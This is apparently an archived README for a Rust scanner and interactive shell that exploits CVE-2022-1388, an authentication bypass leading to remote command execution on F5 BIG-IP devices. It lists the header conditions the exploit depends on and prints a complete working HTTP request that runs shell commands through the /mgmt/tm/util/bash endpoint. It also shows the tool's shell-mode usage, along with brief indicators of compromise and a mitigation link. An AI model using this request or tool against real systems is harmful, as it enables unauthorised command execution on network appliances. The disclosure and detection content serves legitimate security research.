来源

关联漏洞

描述

CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in Rust

介绍

# CVE-2022-1388-rs
Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in Rust

## Summary
To wrap things up here is an overview of the necessary conditions of a request for exploiting this vulnerability:

- Connection header must include X-F5-Auth-Token
- X-F5-Auth-Token header must be present
- Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host
- Auth header must be set with the admin username and any password

## PoC

```
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: thisisrandomstring
User-Agent: curl/7.82.0
Connection: X-F5-Auth-Token
Accept: */*
Content-Length: 39
{
    "command":"run",
    "utilCmdArgs":"-c id"
}
```

# Setup LAB

- You can find the lab <a href="https://github.com/aancw/CVE-2022-1388-rs/blob/main/LAB-PoC/README.md">Here</a>

## Usage

```
$ cve_2022_1308_rs -h

CVE-2022-1388 PoC 1.0
Petruknisme <me@petruknisme.com>
Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in
Rust

USAGE:
    cve_2022_1388_rs [OPTIONS] --url <URL>

OPTIONS:
    -h, --help         Print help information
    -s, --shell        This mode for accessing payload with interactive shell
    -u, --url <URL>    F5 Big-IP target url
    -V, --version      Print version information
```

## Requirements

- Rust
- Cargo


## IoCs

IOCs can be found in the `/var/log/audit` log file. Unrecognized commands executed by the `mgmt/tm/util/bash` endpoint should be cause for concern.

## Mitigation

Update to the latest version or mitigate by following the instructions within the F5 Security Advisory

- https://support.f5.com/csp/article/K23605346

## References
- https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/

文件快照

 [4.0K]  /data/pocs/46469ee1d013c199edefa0b6f1323d7d33e59d10
├── [ 466]  Cargo.toml
├── [4.0K]  LAB-PoC
│   ├── [ 241]  Dockerfile
│   ├── [ 810]  main.py
│   ├── [  86]  Makefile
│   ├── [ 499]  README.md
│   └── [ 169]  requirements.txt
├── [1.0K]  LICENSE
├── [1.8K]  README.md
└── [4.0K]  src
    └── [4.0K]  main.rs

2 directories, 9 files

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